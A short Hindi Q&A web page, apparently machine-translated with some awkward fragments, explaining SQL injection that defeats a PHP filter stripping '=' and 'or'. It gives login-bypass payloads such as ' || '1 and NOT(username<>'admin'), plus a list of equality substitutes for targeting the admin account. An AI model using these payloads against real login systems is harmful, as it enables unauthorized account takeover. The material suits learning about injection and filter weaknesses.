Mysql
 sql >> डेटाबेस >  >> RDS >> Mysql

PHP फ़िल्टरिंग के साथ SQL इंजेक्शन

मान लें कि lvl2_filter की यह परिभाषा है , जो मूल रूप से = . की किसी भी घटना को हटा देता है और or जब तक नहीं मिला, तब भी तार्किक या संचालन || . के साथ or . के बजाय और एक सरल अभिव्यक्ति जो सत्य का मूल्यांकन करती है जैसे:

username: dummy
password: ' || '1

इसका परिणाम होगा:

SELECT user_id FROM users WHERE username='dummy' and password='' || '1'

किसी विशिष्ट उपयोगकर्ता का चयन करने के लिए, कोई बूलियन बीजगणित के नियम का उपयोग कर सकता है। , जहां x=y =!(x!=y) :

username: dummy
password: ' || NOT(username<>'admin') AND '1

इसका परिणाम होगा:

SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'

यहां <> != . के बराबर है लेकिन इसमें = नहीं है ।

ऐसे अन्य ऑपरेशन भी हैं जिनका उपयोग कोई सुनिश्चित उपयोगकर्ता नाम . कर सकता है बराबर admin :

  • username BETWEEN 'admin' AND 'admin'
  • username LIKE 'admin'
  • username IN ('admin')
  • IF(STRCMP(username,'admin'), 0, 1)
  • CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END



  1. Database
  2.   
  3. Mysql
  4.   
  5. Oracle
  6.   
  7. Sqlserver
  8.   
  9. PostgreSQL
  10.   
  11. Access
  12.   
  13. SQLite
  14.   
  15. MariaDB
  1. एंड्रॉइड से MySQL सर्वर पर डेटा कैसे भेजें?

  2. MySQL में यूनिक आईडी कैसे जनरेट करें?

  3. SHA256 हैश कब तक है?

  4. यह निर्धारित करने के लिए MySQL का उपयोग करें कि क्या आज उपयोगकर्ता का जन्मदिन है

  5. क्लाउड में MySQL - Amazon RDS के पेशेवरों और विपक्ष